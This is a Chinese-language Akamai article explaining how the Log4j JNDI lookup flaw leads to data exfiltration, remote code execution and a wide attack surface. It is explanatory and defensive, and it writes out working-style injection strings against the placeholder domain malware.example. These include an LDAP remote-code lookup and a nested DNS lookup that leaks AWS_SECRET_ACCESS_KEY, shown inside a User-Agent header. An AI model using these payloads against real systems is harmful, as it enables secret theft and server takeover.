Log4j漏洞深度回顾系列之二：数据泄漏和远程代码执行漏洞

 

Akamai有关Log4j漏洞深度分析的系列文章共分为四篇。这是本系列的第二篇。上一篇，我们概括介绍了该漏洞的背景知识和相关原理，本文Akamai将带领大家一起探寻这个漏洞是如何导致数据泄漏，以及恶意代码的远程执行的。

如果你还没看过上一篇文章，欢迎点击这里回看，先掌握必要的背景信息。然后我们这就开始吧。

一、数据泄漏

正如上一篇文章中提到的，JNDI不仅可以查询Java运行环境中的本地数据，还能查询DNS、LDAP等远程系统。通过结合JNDI、远程系统、env查找并进行嵌套，就能创建出一种载荷，将它放入要记入日志的文本后，便可以导致数据泄漏。

以上图所示的情况为例，假设攻击者拥有malware.example这个域名。

注意：为避免被人联想为真实域名，本文我们使用了.example这个顶级域名，但实际上攻击者可以购买任何域名并发起攻击。

接下来，假设攻击者能够以某种方式操作发送给Log4j的文本。下文将介绍这到底是如何做到的。现在，我们先假设这个文本的内容如下：

按照上文提到的嵌套原则，Log4j首先会评估${env:USER}，结果会查找运行该软件的用户。再次假设这是一名管理员用户，那么Log4j会将用户名替换回文本中，产生类似下面这样的日志记录：

这一行依然包含一个查找表达式：

Log4j在看到这个基于JNDI的查找表达式后，会解析伪URL：dns://127.0.0.1:53/Administrator.malware.example，并将其传递给JNDI。JNDI会将这个伪URL识别为所需的DNS提供程序，并使用Administrator.malware.example的本地解析程序执行一次DNS查找。

由于malware.example是恶意攻击者所拥有的域名，因此Administrator.malware.example的DNS查询将到达该域名的权威DNS服务器。通过观察DNS查询，攻击者将能得知利用了有漏洞的Log4j代码的软件是以管理员身份运行的。

上述过程证明，只要向Log4j提供精心准备的有效载荷，就可以轻易地将某些数据从环境中泄漏出去。虽然泄漏当前用户身份已经够糟糕了，但情况还可能变得更棘手，一些更机密的信息同样可以通过这种方式泄漏出去。

例如（这个例子是Akamai在互联网上实际观察到的），假设我们将上述${env:USER}改为${env:AWS_SECRET_ACCESS_KEY}，产生如下的字符串，情况将会怎样？

按照先前讲过的逻辑，这会导致一个DNS查询抵达攻击者的权威DNS服务器，而该查询中包含了访问Log4j运行环境的亚马逊云平台的机密访问密钥！此类信息的泄漏会导致攻击者可以直接接管受害者的AWS实例。

理论上，任何环境只要运行了包含该漏洞的Log4j，并且可以通过Log4j查找表达式访问，就可以被嵌套，进而被攻击者所控制。

是不是感觉情况挺糟糕的，别急，还有更糟糕的。

二、远程代码执行

事实证明，在某些版本的Java中，JNDI的实现默认会允许一些目录服务直接或间接使用远程代码来响应查询，然后在发出查询的计算机上本地执行这些代码。

例如，很多存在此漏洞的系统中的LDAP目录服务提供程序允许LDAP服务器响应一种名为“引用”（Reference）的查询。这种引用会列出要在本地下载和执行的代码的远程位置列表。

虽然听起来可能听疯狂，但在受到高度管控的环境中，当LDAP服务器和相关基础设施可信任的情况下，这是一种非常有效的用法。但当攻击者可以将发起请求的计算机指向由攻击者控制的，不可信的LDAP服务器时，问题出现了。通过这种方式，攻击者可以返回对恶意代码的引用，而JNDI会尽责地下载这些恶意代码随后在主机上执行。

由于存在漏洞的Log4j实例允许通过查找表达式对JNDI进行无限制的访问，因此完全可以通过精心构建的日志内容加载并执行远程代码。例如，我们可以将如下的日志消息发送给Log4j：

在有漏洞的系统中，Log4j看到${jndi:ldap://rce.malware.example/a}查找表达式并提取JNDI伪URL：ldap://rce.malware.example/a，将其传递给JNDI以供处理。JNDI看到该URL使用了LDAP目录服务提供程序，并向rce.malware.example站点发起一条LDAP查询。

由于rce.malware.example是被攻击者所控制的，因此可以发送一个引用载荷作为LDAP响应，载荷内容可能类似于：

JNDI在收到这个响应后，就会访问Web服务器URL：http://rce.malware.com/exploit/，通过这里下载相关的恶意远程代码执行有效载荷，最终在运行Log4j的系统上顺利执行。

三、威胁面

这种可怕的攻击需要将精心构造的日志消息传递给Log4j。那么就产生了一个很明显的问题：攻击者又该如何做到这一点？答案很简单：充分利用一切可以将自己提供的消息作为日志记录下来的机会。

目前最常见的攻击媒介是Web应用程序。很多此类应用程序会将自己与访问网站的最终用户的交互记录到日志中。例如，可能会记录所请求的路径，以及User Agent、时间，以及请求结果等。

借此，攻击者就可以访问一个Web应用程序，并发出一个类似这样的请求：

Web应用程序在收到该请求后，会解析出/${jndi:ldap://rce.malware.example/a}的路径以及User Agent：${jndi:dns://127.0.0.1:53/${env:AWS_SECRET_ACCESS_KEY}.malware.example}，随后将这些信息发送给Log4j。而在存在该漏洞的系统上，AWS机密访问密钥就会随着任意代码的下载和执行泄漏出去。

虽然Web应用程序目前是此类攻击的主要目标，但也需要注意，符合下列标准的任何服务，都可能被如此攻击：

运行了Java使用了有漏洞的Log4j来记录日志消息能够记录由攻击者提供的某些信息（如URL、标头、Cookie、查询等）

此外，尽管攻击速率远低于Web应用程序，但Akamai还发现了另一种针对DNS的攻击媒介。为了确定是否存在易受攻击的DNS解析器，攻击者可以发布嵌入了可利用漏洞有效载荷的DNS查询，这个查询并不需要很复杂，甚至简单到只需要发布类似下面的DNS查找即可：

上述查询会让执行该命令的系统向主机配置的解析器发出一条DNS查询，借此查询Log4j查找字符串本身。收到这种查询的DNS解析器可能会将其记录在日志中，尤其是其中还包含了无效字符。如果该DNS解析器是基于Java的，并且使用了有漏洞的Log4j库版本来记录日志，随后就可以执行攻击了。

这种攻击并不局限于查询。Akamai还观察到另一种可以将有效载荷嵌入DNS响应的方法。很多DNS查询可能导致响应中包含IP地址之外的其他信息，例如CNAME、TXT、SRV以及PTR。我们发现的一些证据表明，攻击者还会操作自己所拥有的响应记录，借此嵌入可利用的字符串，进而攻击响应方的解析器以及可能记录此类查询结果的应用程序。

而这仅仅只是使用各种众所周知的互联网协议所产生的表面现象，真实的威胁面远远超过这些案例。实际上，一些安全研究人员最近发现，将iPhone更名为一种易受攻击的Log4j漏洞字符串，甚至会导致苹果的基础设施服务器Ping Back，这也意味着存在漏洞的服务器成功处理了手机的名称。

为了真正理解该漏洞的严重性，就不能忽略一个前提：Java运行在全世界数十亿台设备上，而Log4j是Java环境中最流行的日志库工具之一。从Web服务器到自动售货机，一切都可能存在漏洞，而很多嵌入式设备和物联网设备，可能根本无法为它们打补丁。

事实上，威胁面不仅要考虑暴露在这种攻击下的设备数量，还需要考虑这些设备的暴露时长。有鉴于设备数量众多并且一些组件可能无法打补丁，这也意味着这个漏洞可能无法在几个月内彻底消失，而是会陪伴我们好多年，并且在攻击规模和影响方面都可能会超过Shellshock以及Heartbleed这种广为人知的漏洞。

本文我们详细分析了Log4j漏洞在数据泄露和恶意代码远程执方面的基本原理。可以预见，因为上述这些特性，该漏洞造成的影响可能会持续存在，那么自从漏洞公布后，相关攻击手段都产生了怎样的变化？该通过怎样的缓解措施保护自己的组织防范这种威胁？

最后，敬请期待该系列文章的第三篇。同时敬请关注Akamai知乎机构号，在新文章发布后第一时间收到通知，同时第一时间了解Akamai在Web交付性能、安全性、边缘计算等领域的最新技术成果和解决方案，以及整个行业的发展趋势。